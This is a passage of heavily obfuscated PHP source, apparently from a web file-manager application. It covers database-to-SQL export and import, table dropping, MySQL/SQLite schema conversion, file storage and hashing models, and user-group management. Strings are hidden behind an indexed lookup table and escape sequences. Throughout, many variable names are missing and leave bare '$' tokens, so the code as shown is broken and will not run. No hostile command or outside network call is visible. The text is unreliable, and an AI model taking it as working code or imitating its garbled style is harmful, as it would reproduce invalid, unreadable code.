$ = $ǯތ->getDbFields(); $ = $_SERVER[秼][12]; if ($GLOBALS[$_SERVER[秼][876]] && in_array($⛧, array($_SERVER[秼][1154], $_SERVER[秼][1155]))) { $ = $⛧; } do { $轛 = array($ => array($_SERVER[秼][1100], $茶)); $Ҳ = $ǯތ->where($轛)->field($)->order($ . $_SERVER[秼][1156])->limit($)->select(); $Ҳ = !empty($Ҳ) ? $Ҳ : array(); if (!($ = count($Ҳ))) { break; } $Ȝߋ = end($Ҳ); $茶 = $Ȝߋ[$]; $ = array(); foreach ($Ҳ as $) { if ($) { if ($⛧ == $_SERVER[秼][1154]) { if ($[$_SERVER[秼][33]] == $_SERVER[秼][1157]) { $ = json_decode($[$_SERVER[秼][461]], !0); if ($[$_SERVER[秼][32]] == $GLOBALS[$_SERVER[秼][876]] && $[$_SERVER[秼][838]] != 1) { continue; } } } else { if ($[$_SERVER[秼][33]] == $_SERVER[秼][1158] && $[$_SERVER[秼][97]] == $_SERVER[秼][871]) { continue; } } } if ($ȹ) { $[$_SERVER[秼][87]] = "\173\151\x6f\72{$ȹ}\175" . substr($[$_SERVER[秼][87]], strlen("\173\151\x6f\x3a{$[$_SERVER[秼][906]]}\175")); $[$_SERVER[秼][906]] = $ȹ; } $[] = $_SERVER[秼][1159] . $this->sqlEncode($) . $_SERVER[秼][1160]; } $̽ = "\x49\116\x53\105\122\x54\40\x49\x4e\x54\117\40\x60{$⛧}\140\40\x28\140" . implode($_SERVER[秼][1161], $) . $_SERVER[秼][1162]; fwrite($Ӎ, $̽ . implode($_SERVER[秼][1163], $) . $_SERVER[秼][74] . PHP_EOL); $ += $; if ($ײґ) { $ײґ->update($); } } while ($ == $); fclose($Ӎ); return $; } public function sqlToDb($, &$Η) { $ގ =& $_SERVER[秼]; $ = $this->model()->db(); $ = @fopen($, $ގ[1164]); if (!$) { return !1; } $ = 0; $ױͻ = $ގ[12]; $݉Ȋ = array(); $Ȟ = $this->dbType(); $ = $Ȟ == $ގ[13] ? 500 : 2000; $ = basename($, $ގ[877]); $ϓ = 0; $ = 4194304; while (!feof($)) { $ = trim(fgets($)); if (!$) { continue; } $ˏ = $this->sqlDecode($, $Ȟ, $); if (stripos($ˏ, $ގ[441]) === 0) { if (!$ױͻ) { $ױͻ = $ˏ . $ގ[53]; } continue; } if ($Η) { $Η->task[$ގ[1149]] += 1; } $++; $݉Ȋ[] = rtrim(rtrim(trim($ˏ), $ގ[50]), $ގ[74]); $ = null; $ = strlen($ˏ); $ϓ += $; $ = strlen($ױͻ) + $ϓ + (count($݉Ȋ) - 1); if ($ >= $) { $ = array_pop($݉Ȋ); if ($ > 1) { $--; } } if ($ >= $ || $) { $ˏ = $ױͻ . implode($ގ[50], $݉Ȋ); if (!$->execute($ˏ)) { return !1; } if ($Η) { $Η->update($); } $݉Ȋ = array(); $ = 0; $ϓ = 0; if ($) { $݉Ȋ = array($); $ = 1; $ϓ = $; } } } fclose($); if (!empty($݉Ȋ)) { $ˏ = $ױͻ . implode($ގ[50], $݉Ȋ); if (!$->execute($ˏ)) { return !1; } if ($Η) { $Η->update($); } } return !0; } public function dropTable($ܒ = null) { $ = $this->model()->db(); $ = $ܒ ? array($ܒ) : $->getTables(); if (!$) { return; } foreach ($ as $ܒ) { if ($ܒ) { $ܒ = strtolower($ܒ); } else { continue; } $->execute("\144\162\157\160\x20\164\141\x62\x6c\x65\x20\x69\x66\x20\145\x78\x69\x73\x74\x73\x20\x60{$ܒ}\140"); } } private function sqlEncode($) { $ =& $_SERVER[秼]; $љ = array(); foreach ($ as $) { if (is_array($)) { $ = json_encode_force($); } $ = addslashes($); $ = str_replace(array($[1165], $[287], $[419]), array($[1166], $[1167], $[1168]), $); $љ[] = $; } return $[58] . implode($[1169], $љ) . $[58]; } private function sqlDecode($љ, $Ɇ, $Ā = '') { $ =& $_SERVER[秼]; $љ = str_replace(array($[1166], $[1167], $[1168]), array($[1165], $[287], $[419]), $љ); if ($Ɇ == $[13]) { $љ = str_ireplace($[1170], $[59], $љ); $љ = stripslashes($љ); } return preg_replace($[1171], $[12], $љ); if ($Ɇ == $[13]) { return $Ā != $[870] ? stripslashes($љ) : $љ; } if ($Ā == $[870]) { $љ = str_replace($[1172], $[121], stripslashes($љ)); } return $љ; } public function getSqlFile($ = '') { $ҳ =& $_SERVER[秼]; $ = $this->dbType(!0); $ό = CONTROLLER_DIR . "\x69\156\163\x74\x61\154\154\x2f\144\141\164\141\x2f{$}\x2e\x73\161\x6c"; $ = file_get_contents($ό); $俣 = $ҳ[1173] . ($ == $ҳ[893] ? $ҳ[1174] : $ҳ[1175]) . $ҳ[1176]; preg_match_all($俣, $, $ڃ); $倫 = $ڃ[1]; $ے = $this->model()->db(); $ܝ = $ے->getTables(); $ = TEMP_FILES . $ҳ[1177] . date($ҳ[261]) . $ҳ[8]; del_dir($); mk_dir($); $ = $ . $ҳ[1178]; $ջ = $ . $ҳ[1179]; $ = $ == $ҳ[13] ? $ҳ[893] : $ҳ[13]; IO::copy(CONTROLLER_DIR . "\x69\x6e\163\x74\141\154\x6c\x2f\144\x61\164\x61\57{$}\x2e\x73\161\154", $); @touch($ . $ . $ҳ[877]); $ = fopen($, $ҳ[1153]); $ = fopen($ջ, $ҳ[1153]); if ($ == $ҳ[13]) { $ܝ = array_diff($ܝ, array($ҳ[868], $ҳ[869])); $ɼ = array($ҳ[1180], $ҳ[1181], $ҳ[1182]); fwrite($, implode(PHP_EOL, $ɼ) . PHP_EOL . PHP_EOL); foreach ($ܝ as $Ε) { $ߩ = $this->sqlFromSqlite($Ε); if (!$ߩ[$ҳ[13]]) { continue; } fwrite($, $ߩ[$ҳ[13]] . PHP_EOL . PHP_EOL); if (!in_array($Ε, $倫)) { fwrite($, $ߩ[$ҳ[893]] . PHP_EOL . PHP_EOL); } } } else { foreach ($ܝ as $Ε) { $ߩ = $this->sqlFromMysql($Ε); if (!$ߩ[$ҳ[893]]) { continue; } fwrite($, $ߩ[$ҳ[893]] . PHP_EOL . PHP_EOL); if (!in_array($Ε, $倫)) { fwrite($, $ߩ[$ҳ[13]] . PHP_EOL . PHP_EOL); } } } fclose($); fclose($); $ = array($ҳ[893] => $, $ҳ[13] => $ջ); return $ ? $[$] : $; } public function dbType($ʬ = false) { $꜓ =& $_SERVER[秼]; $ˋ = $ʬ ? $GLOBALS[$꜓[6]][$꜓[21]] : $this->database; $ˋ = array_change_key_case($ˋ); $ = $ˋ[$꜓[1053]]; if ($ == $꜓[1050]) { $ܓҺ = explode($꜓[4], $ˋ[$꜓[1059]]); $ = $ܓҺ[0]; } $ = array($꜓[1183] => $꜓[13], $꜓[998] => $꜓[893]); if (isset($[$])) { $ = $[$]; } return $; } public function sqlFromMysql($ǂ, $㛸 = '') { $Ɩ =& $_SERVER[秼]; $ = $this->model()->db(); $ٍ = $->query($Ɩ[1184] . $ǂ . $Ɩ[472]); if (!$ٍ || !$ٍ[0]) { return !1; } $ޘ = _get($ٍ[0], $Ɩ[1185], $Ɩ[12]); if (!$ޘ) { return !1; } $ƌ = "\x44\122\x4f\x50\x20\124\x41\102\x4c\x45\x20\111\106\40\x45\x58\x49\x53\x54\x53\40\140{$ǂ}\140\x3b" . PHP_EOL . $ޘ . $Ɩ[74]; if ($㛸 && $㛸 == $Ɩ[893]) { return $ƌ; } $˺ = array_change_key_case($GLOBALS[$Ɩ[6]][$Ɩ[21]]); $Ҁ = $˺[$Ɩ[1058]]; $ = $Ɩ[1186] . $Ҁ . $Ɩ[1187] . $ǂ . $Ɩ[58]; $ɢ = $Ɩ[1188] . $ǂ . $Ɩ[986]; $̎ = $->query($); if (empty($̎)) { $ƱԶ = array($Ɩ[893] => $Ɩ[12], $Ɩ[13] => $Ɩ[12]); return $㛸 ? $ƱԶ[$㛸] : $ƱԶ; } $ = $->query($ɢ); $ = $Ɩ[12]; $Ŀ = array(); foreach ($ as $) { if (!$ && $[$Ɩ[1189]] == $Ɩ[1190]) { $ = $[$Ɩ[1191]]; } if (isset($Ŀ[$[$Ɩ[1189]]])) { $Ŀ[$[$Ɩ[1189]]][$Ɩ[1192]][] = $[$Ɩ[1191]]; continue; } $Ŀ[$[$Ɩ[1189]]] = array($Ɩ[1193] => $[$Ɩ[1189]], $Ɩ[1192] => array($[$Ɩ[1191]]), $Ɩ[1194] => $[$Ɩ[1195]] == $Ɩ[91] ? 0 : 1); } $ = array(); foreach ($Ŀ as $) { $ڍ = $[$Ɩ[1193]] == $Ɩ[1190]; $ = array($Ɩ[1196], $[$Ɩ[1194]] == $Ɩ[91] && !$ڍ ? $Ɩ[1197] : $Ɩ[12], $Ɩ[1198], $Ɩ[1199] . $ǂ . $Ɩ[11] . ($ڍ ? $Ɩ[1200] : $[$Ɩ[1193]]) . $Ɩ[121], $Ɩ[1201], $Ɩ[121] . $ǂ . $Ɩ[121], $Ɩ[1202] . implode($Ɩ[1203], $[$Ɩ[1192]]) . $Ɩ[1204]); $[] = implode($Ɩ[53], $) . $Ɩ[74]; } $ = array(); $پ = array($Ɩ[1205] => $Ɩ[1206], $Ɩ[1206] => $Ɩ[1206], $Ɩ[365] => $Ɩ[392], $Ɩ[364] => $Ɩ[392]); foreach ($̎ as $) { $ = array($Ɩ[121] . $[$Ɩ[1207]] . $Ɩ[121], isset($پ[$[$Ɩ[1208]]]) ? $پ[$[$Ɩ[1208]]] : $[$Ɩ[1209]], $[$Ɩ[1210]] == $Ɩ[984] ? $Ɩ[1211] : $Ɩ[1212], $[$Ɩ[1207]] == $ ? $Ɩ[1213] : $Ɩ[12], $[$Ɩ[1035]] ? strtoupper(str_replace($Ɩ[11], $Ɩ[12], $[$Ɩ[1035]])) : $Ɩ[12]); $[] = trim(implode($Ɩ[53], $)); } $ғ = array($Ɩ[1214] . $ǂ . $Ɩ[1215], $Ɩ[1216] . $ǂ . $Ɩ[1217], implode($Ɩ[50] . PHP_EOL, $), $Ɩ[1032]); $ = implode(PHP_EOL, array_merge($ғ, $)); if ($㛸 && $㛸 == $Ɩ[13]) { return $; } $ƱԶ = array($Ɩ[893] => $ƌ, $Ɩ[13] => $); return $㛸 ? $ƱԶ[$㛸] : $ƱԶ; } public function sqlFromSqlite($ˡ, $ = '') { $ =& $_SERVER[秼]; $ĵ = $this->model()->db(); $䃭 = "\x50\122\x41\107\x4d\x41\x20\124\x41\x42\114\x45\137\111\x4e\x46\x4f\40\50\x27{$ˡ}\x27\51"; $ = "\x53\105\x4c\x45\103\124\x20\52\x20\x46\122\117\115\x20\163\x71\x6c\x69\x74\145\137\x6d\x61\x73\x74\x65\162\40\x57\110\x45\x52\x45\40\x74\x62\154\137\x6e\x61\155\145\40\x3d\40\x27{$ˡ}\x27"; $Ȭ = $ĵ->query($䃭); if (empty($Ȭ)) { $˟ = array($[893] => $[12], $[13] => $[12]); return $ ? $˟[$] : $˟; } $ = $ĵ->query($); $ = $ = array(); foreach ($ as $ޕ) { if ($ޕ[$[33]] == $[358]) { $[] = $ޕ[$[1218]]; } else { $[$ޕ[$[32]]] = $ޕ[$[1218]]; } } $ = array_merge(array($[1214] . $ˡ . $[121]), $, array_values($)); $ = implode($[74] . PHP_EOL, $) . $[74]; if ($ && $ == $[13]) { return $; } $䝑 = array(); foreach ($ as $ => $) { $ = str_replace($[1219] . $ˡ . $[11], $[12], $); $ = str_replace($ˡ . $[11], $[12], $); $픴 = str_replace(array($[121], $[1043]), $[472], substr($, stripos($, $[339]))); $䝑[$] = $픴; } $לҲ = array(); $ = array($[1206] => $[1220], $[392] => $[1221]); $Ӳ = $쓧 = $[12]; foreach ($Ȭ as $ޕ) { if ($ޕ[$[57]] == $[91]) { $Ӳ = $ޕ[$[32]]; } $ = $ޕ[$[33]]; if ($ == $[1222] && isset($䝑[$ޕ[$[32]]])) { $ = $[1223]; } $Ւ = array($[472] . $ޕ[$[32]] . $[472], _get($, $, $), $ޕ[$[35]] == $[91] ? $[1211] : $[1224] . $ޕ[$[56]], $ޕ[$[57]] == $[91] ? $[1225] : $[12]); $לҲ[] = trim(implode($[53], $Ւ)); } foreach ($䝑 as $ => $픴) { if ($ == $[1200]) { $ = $쓧 = $[1226] . $Ӳ . $[1227]; } else { $ = (stripos($, $[11]) ? $[1228] : $[12]) . ($[1229] . $ . $[1230] . $픴); } $לҲ[] = $; } if ($Ӳ && !$쓧) { $לҲ = array_merge(array($[1226] . $Ӳ . $[1227]), $לҲ); } $à = array($[1231] . $ˡ . $[1232], $[1233] . $ˡ . $[1234], implode($[50] . PHP_EOL, $לҲ), $[1235]); $ȥ߄ = implode(PHP_EOL, $Ã); if ($ && $ == $[893]) { return $ȥ߄; } $˟ = array($[893] => $ȥ߄, $[13] => $); return $ ? $˟[$] : $˟; } } goto C; d: class FileModel extends ModelBase { protected $tableName = "\151\x6f\x5f\x66\x69\x6c\145"; protected $tableMeta = array("\x74\x61\x62\x6c\x65\116\x61\x6d\x65" => "\x69\x6f\x5f\x66\x69\154\x65\137\155\145\164\141", "\155\x65\164\x61\x46\x69\145\x6c\x64" => "\x66\x69\x6c\x65\111\104"); public function fileInfo($ֿ筚) { $ş =& $_SERVER[秼]; static $Ď = array(); if (!isset($Ď[$ֿ筚])) { $ǀ = $ş[2034]; $ = Model($ş[555])->field($ǀ)->where(array($ş[553] => $ֿ筚))->find(); $Ď[$ֿ筚] = $; } return $Ď[$ֿ筚]; } public function addFileByContent($ښª = '', $ = '') { $Ȁ =& $_SERVER[秼]; $ = TEMP_PATH . $Ȁ[2035]; if (!is_dir($)) { mk_dir($); } $엨 = $ . $Ȁ[2036] . rand_string(16); file_put_contents($엨, $ښª); $ = $this->addFile($엨, $, !0); if (file_exists($엨)) { @unlink($엨); } return $; } public function createFileName($, $ג = false, $ = false) { $ =& $_SERVER[秼]; $懜 = IO::init($[8]); $ = $this->makeFilePath($, $懜, $ג, $); $ = $懜->pathFather($); static $ۜ = false; $ = $[2037] . md5($); if (!$ۜ && !Cache::get($)) { $ۜ = !0; $Ŕ = IO::mkdir($); if (!IO::exist($Ŕ . $[886])) { IO::mkfile($Ŕ . $[886]); } Cache::set($, 1, 3600 * 2); } return $; } public function makeFilePath($, $Ϊ, $ = false, $ڍ = false) { $˅ =& $_SERVER[秼]; $֊ = Model($˅[858])->get($˅[2038]); $ = KodIO::defaultIO() . date($˅[2039]); $ = $ . rand_string(5) . short_id(100); $ = str_replace($˅[8], $˅[11], KodIO::clear($)); $᫆ڊ = $Ϊ->ext($); if (!$) { $֊ = $˅[864]; } switch ($֊) { case $˅[2040]: if ($᫆ڊ) { $ = $ . $˅[10] . $᫆ڊ; } if ($᫆ڊ == $˅[1976]) { $ .= $˅[1300]; } break; case $˅[2041]: $Ń = Model($˅[858])->get($˅[859]); $ƒ = substr(md5($˅[860] . $Ń . date($˅[837])), 0, 8); $ = KodIO::defaultDriver(); $ = $˅[1331] . $[$˅[486]] . $˅[495] . date($˅[2042]) . $ƒ . $˅[8]; if ($᫆ڊ == $˅[1976]) { $ .= $˅[1300]; } $ = $˅[2043] . $ . $; CacheLock::lock($); $ = $ . $; if (IO::exist($ . $)) { $ڿ = substr($, 0, strlen($) - strlen($᫆ڊ)); $ؕ = $ڍ ? substr($ڍ, 0, 5) : ($ ? substr($, 0, 5) : rand_string(5)); $ = $ . $ڿ . $ؕ; if ($᫆ڊ) { $ = $ . $˅[10] . $᫆ڊ; } } if (IO::isOsDriver($) && !IO::isUploadServer($)) { if (IO::exist($)) { CacheLock::unlock($); return $; } $ = IO::setContent($, $˅[12]); if (!$) { show_json($˅[2044], !1); } } CacheLock::unlock($); break; case $˅[864]: break; default: break; } return $; } public function addFileByRemote($, $, $ = array()) { $۳ =& $_SERVER[秼]; if (!IO::exist($)) { return !1; } $甹 = $[$۳[558]] ? $[$۳[558]] : $۳[12]; $ = IO::hashMd5($, $甹); $Ԃ = KodIO::defaultDriver(); $ʫ߄ = array($۳[631] => IO::size($), $۳[2045] => 1, $۳[505] => $, $۳[897] => $Ԃ[$۳[486]], $۳[506] => $, $۳[2046] => $[$۳[686]] ? $[$۳[686]] : IO::hashSimple($), $۳[2047] => $ ? $ : $甹); if ($ = $this->addFileCheckExist($ʫ߄[$۳[686]], $ʫ߄[$۳[558]], $ʫ߄[$۳[79]])) { return $; } return $this->addFileData($ʫ߄); } private function addFileData($ȯ) { $ =& $_SERVER[秼]; if (!$ȯ) { return !1; } $ȯ[$[79]] = intval($ȯ[$[79]]); if (!$ȯ[$[79]] && strlen($ȯ[$[686]]) > 32) { $ȯ[$[79]] = intval(substr($ȯ[$[686]], 32)); } $ݢ = $this->add($ȯ); return $this->find($ݢ); } public function addFile($̬, $ư, $۱䘷 = false) { $ӹ =& $_SERVER[秼]; $֧ = IO::hashSimple($̬); $ = IO::size($̬); $ℒ = $ <= 1024 * 1024 * 10 ? IO::hashMd5($̬) : $ӹ[12]; $ = $ӹ[2048] . $֧; CacheLock::lock($); if ($ℒ && $֧) { $հ = $this->addFileCheckExist($֧, $ℒ, $); if ($հ) { CacheLock::unlock($); return $հ; } } $ = $this->addFileMake($̬, $, $֧, $ℒ, $ư, $۱䘷); $ = $this->addFileData($); CacheLock::unlock($); if (!$ℒ && $) { $this->fileMd5Check($); } return $; } public function fileMd5Check($) { $ =& $_SERVER[秼]; $ڏ = array($[$[552]], $[$[87]]); $ۧ = $[2049] . $[$[87]]; $ъ = $[2050] . $[$[552]]; TaskQueue::add($[2051], $ڏ, $ۧ, $ъ); } public function fileMd5Set($ε, $) { $ =& $_SERVER[秼]; $洞 = $this->find($ε); if (!$洞 || $洞[$[558]]) { return; } $ = IO::hashMd5($); if (!$) { return $[12]; } $this->where(array($[552] => $ε))->save(array($[558] => $)); } public function addFileMake($ׅ, $, $٫, $悸, $߹, $) { $ =& $_SERVER[秼]; $훻 = $this->createFileName($߹, $٫, $悸); $┱ = get_path_father($훻); $Ŷ = get_path_this($훻); if ($) { $ = IO::move($ׅ, $┱, !1, $Ŷ); } else { $ = IO::copy($ׅ, $┱, !1, $Ŷ); } if (!$) { return !1; } $ = KodIO::defaultDriver(); $玃 = array($[631] => $, $[2045] => 1, $[505] => $߹, $[897] => $[$[486]], $[506] => $훻, $[2046] => $٫, $[2047] => $悸); return $玃; } public function addFileCheckExist($, $ϝȕ, $) { $ש =& $_SERVER[秼]; $Ⱦ = $this->findByHash($, $ϝȕ); if (!$Ⱦ) { return !1; } $ԁ = array($ש[2045] => intval($Ⱦ[$ש[2052]]) + 1, $ש[631] => $); $this->where(array($ש[553] => $Ⱦ[$ש[552]]))->save($ԁ); return $Ⱦ; } public function remove($) { $this->linkCountChange($, !1); $this->clearEmpty(); return !0; } public function linkAdd($ڶƜ) { $this->linkCountChange($ڶƜ, !0); } public function linkCountChange($՞, $ņ) { $ =& $_SERVER[秼]; if (!$՞) { return; } if (!is_array($՞)) { $՞ = array($՞); } $ޕ = array(); foreach ($՞ as $Օ) { $ϛ = $Օ . $[12]; if (!$ޕ[$ϛ]) { $ޕ[$ϛ] = 0; } $ޕ[$ϛ]++; } $ヤ = array(); foreach ($ޕ as $Օ => $) { $ϛ = $ . $[12]; if (!$ヤ[$ϛ]) { $ヤ[$ϛ] = array(); } $ヤ[$ϛ][] = $Օ; } foreach ($ヤ as $ => $י) { if (!$י) { continue; } $ = $ņ ? $ : -intval($); $ł = array($[552] => array($[7], $י)); if ($ < 0) { $ł[$[2052]] = array($[1101], abs($)); } $this->where($ł)->setAdd($[2052], $); } } public function findByHash($ϥ, $ = false) { $љ =& $_SERVER[秼]; if (!$ϥ && !$) { return !1; } $ = array($љ[2046] => $ϥ); if ($) { $ = array($љ[2047] => $); } return $this->order($љ[2053])->where($)->find(); } public function clearEmpty($ǡ = 1) { $ =& $_SERVER[秼]; $Ώ = time() - 3600 * 24 * $ǡ; $ = $[2054] . $Ώ; $ۉ = $this->where($)->select(); if (!$ۉ) { return; } $ = new Task($[2055], $[12], count($ۉ)); foreach ($ۉ as $) { $->update(1); $this->resetFile($); } $->end(); } public function resetFile($؈) { $ =& $_SERVER[秼]; $ = array($[553] => $؈[$[552]]); $ꃏ = Model($[1430])->where($)->count(); $߯ = Model($[2056])->where($)->count(); $ = intval($ꃏ) + intval($߯); if ($ == 0) { IO::remove($؈[$[87]]); Model($[2057])->delete($؈[$[552]]); $this->where($)->delete(); $this->metaSet($؈[$[552]], null, null); write_log(ACTION . $[2058] . KodUser::id() . $[2059] . $؈[$[552]] . $[2060] . $؈[$[79]] . $[201] . $؈[$[87]], $[2061]); return; } if ($؈[$[2052]] != $) { $this->where($)->save(array($[2045] => $)); } } public function storageInfo($ = false) { $ =& $_SERVER[秼]; $ƙ = $this->count() + 0.0; $Ӂ۪ = 0; $ࢶ = 1; $ = 0; $뫺ַ = 5000; for ($娴 = 0; $娴 < $ƙ; $娴 = $娴 + $뫺ַ) { $竨Ό = $this->limit($娴, $娴 + $뫺ַ)->select(); foreach ($竨Ό as $Ԭ) { $ࢶ += $Ԭ[$[79]] * $Ԭ[$[2052]]; $Ӂ۪ += $Ԭ[$[79]] * ($Ԭ[$[2052]] - 1); $ += $Ԭ[$[2052]]; } } $ȋ = array($[2062] => $ࢶ, $[2063] => $Ӂ۪, $[2064] => $Ӂ۪ / $ࢶ, $[83] => $ƙ, $[2065] => $); return $ȋ; } } class GroupModel extends ModelBase { protected $tableName = "\x67\x72\157\165\x70"; protected $tableMeta = array("\x74\141\142\x6c\x65\116\x61\x6d\145" => "\x67\162\157\165\160\137\155\x65\x74\x61", "\155\145\164\141\x46\151\145\x6c\x64" => "\x67\x72\157\165\160\x49\x44"); protected function cacheFunctionAlias($ֲ) { $ɮ =& $_SERVER[秼]; return array($ɮ[2066] => array($ֲ[0], $ɮ[2067]), $ɮ[2068] => array($ֲ[0], $ɮ[2069])); } protected function getInfo($, $ = false) { $է = $this->getInfoSimple($); if (!$է) { return !1; } if ($) { return $this->_listDataApplyItem($է); } return $this->cacheFunctionGet($_SERVER[秼][2070], $); } protected function getInfoSimple($, $ = false) { $ߩ։ =& $_SERVER[秼]; if ($) { $ = array($ߩ։[1984] => intval($)); $𢡄 = $this->where($)->find(); return is_array($𢡄) ? $𢡄 : array(); } return $this->cacheFunctionGet($ߩ։[2071], $); } protected function groupAdd($ީ) { $Ś =& $_SERVER[秼]; if (!$ީ[$Ś[192]] && isset($ީ[$Ś[1984]]) && $ީ[$Ś[1984]] == 1) { if ($ƥ = $this->getInfoSimple($ީ[$Ś[1984]], !0)) { return $ީ[$Ś[1984]]; } } else { $ƥ = $this->getInfoSimple($ީ[$Ś[192]]); if (!$ƥ) { return !1; } } $鏦 = $Ś[604]; if ($ƥ[$Ś[595]]) { $鏦 = $ƥ[$Ś[595]] . $ƥ[$Ś[1984]] . $Ś[50]; } $Ǡ = array($Ś[505] => $this->groupNameAuto($ީ[$Ś[192]], $ީ[$Ś[32]]), $Ś[488] => $ީ[$Ś[192]], $Ś[666] => $鏦, $Ś[2072] => $ީ[$Ś[1970]], $Ś[2073] => 0, $Ś[1988] => 0); if (isset($ީ[$Ś[2008]])) { $Ǡ[$Ś[2008]] = $ީ[$Ś[2008]]; } else { $ = $this->max($Ś[2008]); if (!$) { $ = 0; } $Ǡ[$Ś[2008]] = $ + 1; } if (!empty($ީ[$Ś[1984]])) { $Ǡ[$Ś[1984]] = $ީ[$Ś[1984]]; } $ߦƒ = $this->add($Ǡ); $this->setNamePinyin($ߦƒ, $Ǡ[$Ś[32]]); if (isset($ީ[$Ś[2074]])) { $this->metaSet($ߦƒ, array($Ś[2074] => $ީ[$Ś[2074]], $Ś[2075] => $ީ[$Ś[2075]])); unset($ީ[$Ś[2074]]); unset($ީ[$Ś[2075]]); } Model($Ś[1430])->groupRootAdd($ߦƒ); $this->_clearCache($ީ[$Ś[192]]); return $ߦƒ; } protected function groupEdit($̙, $˖) { $ˇ =& $_SERVER[秼]; $晈 = $this->getInfoSimple($̙); if (!$晈) { return !1; } if (!empty($˖[$ˇ[192]])) { $ڋ = $this->getInfoSimple($˖[$ˇ[192]]); if (!$ڋ) { return !1; } if ($晈[$ˇ[1984]] == $ڋ[$ˇ[1984]]) { return !1; } if ($˖[$ˇ[192]] != $晈[$ˇ[192]]) { if ($ڋ[$ˇ[595]] !== $晈[$ˇ[595]] && strpos($ڋ[$ˇ[595]], $晈[$ˇ[595]] . $晈[$ˇ[1984]] . $ˇ[50]) === 0) { return !1; } $˖[$ˇ[666]] = $ڋ[$ˇ[595]] . $˖[$ˇ[192]] . $ˇ[50]; $this->_changeChildLevel($晈, $ڋ); $this->_clearCache($ڋ[$ˇ[1984]]); $this->_clearCache($晈[$ˇ[192]]); } } if (isset($˖[$ˇ[32]])) { $this->setNamePinyin($̙, $˖[$ˇ[32]]); } if (isset($˖[$ˇ[2074]])) { $this->metaSet($̙, array($ˇ[2074] => $˖[$ˇ[2074]], $ˇ[2075] => $˖[$ˇ[2075]])); unset($˖[$ˇ[2074]]); unset($˖[$ˇ[2075]]); } $this->_clearChildrenCache($晈); return $this->where(array($ˇ[2076] => $̙))->save($˖); } private function _clearChildrenCache($җ) { $ =& $_SERVER[秼]; $ = array($[666] => array($[626], $җ[$[595]] . $җ[$[1984]] . $[627])); $ = $this->field($[1984])->where($)->select(); foreach ($ as $) { $this->_clearCache($[$[1984]]); } } private function _clearCache($頕) { $ =& $_SERVER[秼]; $this->cacheFunctionClear($[2070], $頕); $this->cacheFunctionClear($[2071], $頕); } private function _changeChildLevel($, $ƺ, $Є = false) { $ =& $_SERVER[秼]; $ = $[$[595]] . $[$[1984]] . $[50]; $ɝ = $ƺ[$[595]] . $ƺ[$[1984]] . $[50] . $[$[1984]] . $[50]; if ($Є) { $ɝ = $ƺ[$[595]] . $ƺ[$[1984]] . $[50]; } $Ì = array($[666] => array($[626], $[$[595]] . $[$[1984]] . $[627])); $۩ = array($[666] => array($[675], "\x72\145\160\x6c\x61\143\x65\x28\160\141\162\x65\156\164\114\145\166\145\154\x2c\x27{$}\x27\54\47{$ɝ}\x27\51")); $this->_clearChildrenCache($); $this->where($Ì)->data($۩)->save(); } public function setNamePinyin($, $ = false) { $ܭ =& $_SERVER[秼]; if (!$) { $ù = $this->getInfoSimple($); $ = $ù[$ܭ[32]]; } if (!Input::check($, $ܭ[669])) { $this->metaSet($, $ܭ[549], null); $this->metaSet($, $ܭ[548], null); return; } $ = array($ܭ[549] => str_replace($ܭ[53], $ܭ[12], Pinyin::get($)), $ܭ[548] => Pinyin::get($, $ܭ[670])); $this->metaSet($, $); } protected function metaSet($ȏ, $֏ = null, $ = null) { $this->_clearCache($ȏ); return parent::metaSet($ȏ, $֏, $); } protected function groupStatus($, $ɉ) { $ھݣ =& $_SERVER[秼]; $ٶ = $this->getInfoSimple($); if (!$ٶ) { return !1; } $this->_clearCache($); return $this->metaSet($, $ھݣ[838], $ɉ); if ($ɉ == $ھݣ[91]) { $կ = $this->parentLevelArray($ٶ[$ھݣ[595]]); } else { } $կ[] = $ٶ[$ھݣ[1984]]; $ = array(); foreach ($կ as $) { $[] = array($ھݣ[1984] => $, $ھݣ[97] => $ھݣ[838], $ھݣ[461] => $ɉ); $this->_clearCache($); } return Model($ھݣ[2077])->addAll($, array(), !0); } protected function groupRemove($Ҕ, $ = false) { $Х =& $_SERVER[秼]; $ = array($Х[1984] => $Ҕ); $ = $this->where($)->find(); if (!$ || $[$Х[192]] == 0) { return !1; } if (!$) { $י = $this->getInfoSimple($[$Х[192]]); $this->_changeChildLevel($, $י, !0); $this->where(array($Х[192] => $Ҕ))->save(array($Х[192] => $[$Х[192]])); $this->_clearCache($י[$Х[1984]]); } Model($Х[2077])->where($)->delete(); Model($Х[2078])->where($)->delete(); Model($Х[913])->groupRootRemove($Ҕ); $this->_clearCache($[$Х[192]]); return $this->where($)->delete(); } protected function groupSort($킇) { $ĉ؝ =& $_SERVER[秼]; $Ϫ = array(); foreach ($킇 as $ => $) { $Ϫ[] = array($ĉ؝[1984], $, $ĉ؝[2008], $ + 1); } $this->saveAll($Ϫ); } public function listData() { $ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($[$_SERVER[秼][456]]); return $; } private function _makeOrder($â٦ = '') { $ =& $_SERVER[秼]; $Ä = array($[1984], $[32], $[1972], $[233]); $ = array($[534] => $[535], $[536] => $[537]); $ = Input::get($[541], $[7], $[1988], $Ä); $ = Input::get($[542], $[7], $[2079], array($[2079], $[536])); $ = $[$]; $â٦ = $â٦ . "{$}\x20{$}\54\40\x67\x72\x6f\165\x70\x49\x44\40\x61\x73\x63"; return $this->order($â٦); } public function listChild($) { $Ȯ =& $_SERVER[秼]; $ބ = $this->where(array($Ȯ[192] => $))->_makeOrder()->selectPage(200); $this->_listDataApply($ބ[$Ȯ[456]]); return $ބ; } public function listChildIds($) { $頸 =& $_SERVER[秼]; if (is_string($)) { $ = explode($頸[50], $); } $ = $this->where(array($頸[1984] => array($頸[7], $)))->field($頸[2080])->select(); if (!$) { return !1; } $ = array(); foreach ($ as $ؙӬ) { $[] = "\x73\x65\154\145\x63\164\x20\147\x72\x6f\165\x70\111\104\40\x66\x72\x6f\155\40\140\x67\162\157\x75\x70\140\40\x77\x68\x65\162\x65\40\x70\x61\x72\145\156\x74\x4c\145\x76\x65\x6c\x20\x6c\151\153\x65\40\47{$ؙӬ[$頸[595]]}{$ؙӬ[$頸[1984]]}\54\45\47"; } $ = implode($頸[2081], $); $ = $this->query($); if (!$) { return array(); } $ = array_to_keyvalue($, $頸[12], $頸[1984]); return array_unique($); } public function listByID($ޭ) { $، =& $_SERVER[秼]; if (!$ޭ) { return array(); } $Ɲ = array($،[1984] => array($،[7], $ޭ)); $֝ = $this->where($Ɲ)->select(); $֝ = array_sort_keep($֝, $،[1984], $ޭ); $this->_listDataApply($֝); return $֝; } public function listSearch($) { $ڇ̦ =& 